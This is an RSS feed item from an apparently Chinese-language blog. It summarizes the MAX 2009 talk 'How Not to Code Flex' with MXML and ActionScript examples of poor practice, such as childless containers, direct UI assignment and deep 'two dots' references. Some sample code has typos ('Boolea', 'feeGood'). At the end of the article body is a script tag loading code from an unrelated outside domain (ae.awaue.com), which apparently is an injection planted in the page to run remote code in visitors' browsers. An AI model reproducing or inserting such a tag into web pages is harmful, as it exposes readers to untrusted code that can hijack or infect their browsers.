Container 元件的誤用：Container元件諸如Box, Canvas, Tile等等，他們的原本目的都是: 排列裡面的子元件。因此只要你不是拿來排版或甚至沒有給予它任何的子元件，就違背原本用意了。
例子:
&#60;mx:TextInput/&#62;
&#60;mx:VBox backgroundImage=&#34;blah.png&#34; borderStyle=&#34;solid&#34;/&#62; &#60;!-- 你看, 沒有小孩的容器元件--&#62;

ListBase 元件的誤用: List, TileList, DataGrid 都是用來針對列表物件的選取、排序、renderer回收而生，因此，當你想要製作的元件並不需要這些功能，就不該採用List來處理。
local model binding: 避免直接將值給UI元件，盡量用local model binding來處理。(按:此方法還可避免元件初始化延遲所帶來的問題)
ex:
&#60;mx:script&#62;

&#160; //這樣是不好的
&#160; function test():void
&#160; {
&#160; &#160; &#160;myLabel.text = &#34;hello&#34;;
&#160; }

&#60;/mx:script&#62;
&#60;mx:Label id=&#34;myLabel&#34;/&#62;
&#60;mx:Script&#62;
//用local model binding.
[Bindable]
private var helloText:String = &#34;hello&#34;;
&#60;/mx:Script&#62;
&#60;mx:Label id=&#34;myLabel&#34; text=&#34;{helloText}&#34;/&#62;


別把local view event 交由非常上層的元件處理。(按:這裡必須搭配cairngorm microframework 來解釋 )
元件與元件之間的訊息傳遞，如果能在local就解決，便盡量不要拋到上層的command-frontcontroller 去處理然後又繞回來&#8221;原本的元件&#8221;。以後維護會很辛苦。


不適當的容器元件使用方法:
如果你發現你的容器元件裡面只有一個子元件(child)，那可能有問題。


Two dots and you are out.
兩個參照你就出局囉!
如果你的程式碼需要進入非常多的子元件，那就有問題了。如下:
var [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>本篇文章來自MAX2009的session:<br />
<a href="http://tv.adobe.com/watch/max-2009-develop/how-not-to-code-flex/">How Not to code FLEX</a>
</p></blockquote>
<p>演講者主要說明何謂壞程式碼(bad code)，但也說壞程式碼不一定不好，只要你確定能盡快回來改正他。那何謂壞程式碼?</p>
<ul>
<li>Container 元件的誤用：Container元件諸如Box, Canvas, Tile等等，他們的原本目的都是: 排列裡面的子元件。因此只要你不是拿來排版或甚至沒有給予它任何的子元件，就違背原本用意了。<br />
例子:</p>
<div class="codecolorer-container xml " style="overflow:auto;white-space:nowrap;width:435px"><div class="xml codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="sc3"><span class="re1">&lt;mx:TextInput</span><span class="re2">/&gt;</span></span><br />
<span class="sc3"><span class="re1">&lt;mx:VBox</span> <span class="re0">backgroundImage</span>=<span class="st0">&quot;blah.png&quot;</span> <span class="re0">borderStyle</span>=<span class="st0">&quot;solid&quot;</span><span class="re2">/&gt;</span></span> <span class="sc-1">&lt;!-- 你看, 沒有小孩的容器元件--&gt;</span></div></div>
</li>
<li>ListBase 元件的誤用: List, TileList, DataGrid 都是用來針對列表物件的選取、排序、renderer回收而生，因此，當你想要製作的元件並不需要這些功能，就不該採用List來處理。</li>
<li>local model binding: 避免直接將值給UI元件，盡量用local model binding來處理。(按:此方法還可避免元件初始化延遲所帶來的問題)<br />
ex:</p>
<div class="codecolorer-container xml " style="overflow:auto;white-space:nowrap;width:435px"><div class="xml codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="sc3"><span class="re1">&lt;mx:script<span class="re2">&gt;</span></span></span><br />
<br />
&nbsp; //這樣是不好的<br />
&nbsp; function test():void<br />
&nbsp; {<br />
&nbsp; &nbsp; &nbsp;myLabel.text = &quot;hello&quot;;<br />
&nbsp; }<br />
<br />
<span class="sc3"><span class="re1">&lt;/mx:script<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;mx:Label</span> <span class="re0">id</span>=<span class="st0">&quot;myLabel&quot;</span><span class="re2">/&gt;</span></span></div></div>
<div class="codecolorer-container xml " style="overflow:auto;white-space:nowrap;width:435px"><div class="xml codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="sc3"><span class="re1">&lt;mx:Script<span class="re2">&gt;</span></span></span><br />
//用local model binding.<br />
[Bindable]<br />
private var helloText:String = &quot;hello&quot;;<br />
<span class="sc3"><span class="re1">&lt;/mx:Script<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;mx:Label</span> <span class="re0">id</span>=<span class="st0">&quot;myLabel&quot;</span> <span class="re0">text</span>=<span class="st0">&quot;{helloText}&quot;</span><span class="re2">/&gt;</span></span></div></div>
</li>
<li>
別把local view event 交由非常上層的元件處理。(按:這裡必須搭配cairngorm microframework 來解釋 )<br />
元件與元件之間的訊息傳遞，如果能在local就解決，便盡量不要拋到上層的command-frontcontroller 去處理然後又繞回來&#8221;原本的元件&#8221;。以後維護會很辛苦。
</li>
<li>
不適當的容器元件使用方法:<br />
如果你發現你的容器元件裡面只有一個子元件(child)，那可能有問題。
</li>
<li>
<blockquote><p>Two dots and you are out.<br />
兩個參照你就出局囉!</p></blockquote>
<p>如果你的程式碼需要進入非常多的子元件，那就有問題了。如下:</p>
<div class="codecolorer-container actionscript3 " style="overflow:auto;white-space:nowrap;width:435px"><div class="actionscript3 codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="kw2">var</span> hey<span class="sy0">:</span><a href="http://www.google.com/search?q=string%20inurl:http://livedocs.adobe.com/flex/201/langref/%20inurl:string.html&amp;filter=0&amp;num=100&amp;btnI=lucky"><span class="kw5">String</span></a> = myBox.thisBox.thatBox.rightLabel.<span class="kw7">text</span>;</div></div>
<p>這是一個本質上的問題，應該要封裝這些子元件，若其他元件需要存取裡面的值，應該要透過Event(帶資料出來) 來幫你。</p>
<li>
自以為的聰明寫法並不好。<br />
這種情況會發生在複雜的binding寫法，像是:</p>
<div class="codecolorer-container xml " style="overflow:auto;white-space:nowrap;width:435px"><div class="xml codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="sc3"><span class="re1">&lt;mx:Button</span> <span class="re0">id</span>=<span class="st0">&quot;btn&quot;</span> <span class="re0">enabled</span>=<span class="st0">&quot;{ isCheck &amp;amp;&amp;amp; ( firstBtn.enabled &amp;amp; !secondBtn.enabled) &amp;amp;&amp;amp; (thirdBtn.enabled|| feelGood) }&quot;</span><span class="re2">/&gt;</span></span></div></div>
<p>應該要用function 去處理這些binding 邏輯:</p>
<div class="codecolorer-container text " style="overflow:auto;white-space:nowrap;width:435px"><div class="text codecolorer" style="font-family:Monaco,Lucida Console,monospace">&lt;mx:Script&gt;<br />
private function getEnabled( a:Boolea , b:Boolea , c:Boolean , d:Boolean , e:Boolean ):Boolean<br />
{<br />
//邏輯應該在這裡描述啦:<br />
return a &amp;&amp; (b&amp;&amp;!c) &amp;&amp;(d||e);<br />
}<br />
&lt;/mx:Script&gt;<br />
&lt;mx:Button id=&quot;btn&quot; enabled=&quot;{ getEnabled(isCheck,firstBtn.enabled,secondBtn.enabled,thirdBtn.enabled,feeGood) }&quot;/&gt;</div></div>
</li>
</li>
</ul>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.shiue.net/archives/992/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
   

